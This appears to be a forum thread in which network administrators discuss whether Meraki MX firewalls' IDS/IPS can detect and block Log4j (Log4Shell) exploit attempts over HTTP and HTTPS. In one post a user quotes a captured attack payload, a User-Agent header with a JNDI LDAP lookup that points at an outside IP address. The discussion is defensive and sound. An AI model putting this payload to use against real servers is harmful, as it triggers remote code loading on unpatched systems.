Log4J detection

[lpopejoy]

According to https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html Meraki MX (w/ Advanced Security, I'm sure) can detect and block Log4J exploits (https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java).

I'm curious how this is possible if the the traffic is TLS encrypted.  As far as I know, Meraki MX is not doing SSL inspection/decryption which means that Log4j compromises couldn't be detected, right?

[AndrewHaines76]

Would be nice to get comment from Cisco/Meraki.   Lot of patching this week.

[LucasDelmarcel]

Hi community, we have this issue currently investigated (not with Cisco, but internally as we are a Cisco partner)

Meraki MX uses the same kind of security intelligence sources as lets say an FTD  (Cisco Thalos, Snort,etc,..) , and after discussed this with our senior engineers we believe Meraki firewalls should have the latest updates installed and so the latest Snort-definitions.

See this for reference

https://www.snort.org/advisories/talos-rules-2021-12-11

It doesn't seem SSL inspection is necessary, but layer 7 application-based policy should do for IPS.

Also, I would personally recommend to restrict LDAP, DNS traffic to a bare minimum so it's tightened to what you really need (ex: DNS-server can reach outside, but rest of the network is more limited)

General security advisory..

Hope this helps

Kind regards

[DangerNoodle]

For what it's worth, the IDS/IPS in the Meraki MX series is catching it. We had these alerts on a public facing DVR.

[lpopejoy]

@DangerNoodle  that is VERY cool.  Thank you for sharing that.  I would still like to know more details on *how* it works, but I guess it is just looking at source IP's.  Do you know if this connection was inbound to a TLS encrypted port?

[DangerNoodle]

It was a http request made to the login page of the DVR. 

It triggered this SNORT rule: https://snort.org/rule_docs/1-58737

Looking at the inspect packet, they tried to inject this:

User-Agent: ${jndi:ldap://193.3.19.159:53/c}..Accept: */*..Accept-Encoding: gzip

[lpopejoy]

Ah, ok.  So if it would have been HTTPS, would it still have been blocked?  My guess is "no."

[IT_Magician]

To confirm, if Meraki is showing this as being blocked, that does not mean the downstream device is vulnerable, correct? It just means someone was hitting the downstream device with a string which the MX is blocking?

[LucasDelmarcel]

Correct. You should make an inventory to assess what is running vulnerable versions of software. I use Metasploit vulnerability scanner for this. Stay safe !

[myky_]

@lpopejoy for IPS/IDS, you don't necessarily need SSL decryption; otherwise, it would be useless a long time ago. 

Primarily, it's based on the signatures (traffic flow behaviour/pattern/fingerprinting) that exploit uses.

Once it's detected/identified, a signature is created and pushed to the device IPS/IDS database.

[GIdenJoe]

Indeed.  You would bring most MX'es to their knees if you turned on decryption.

[hockeydude]

Same here. IDS blocking log4j attempts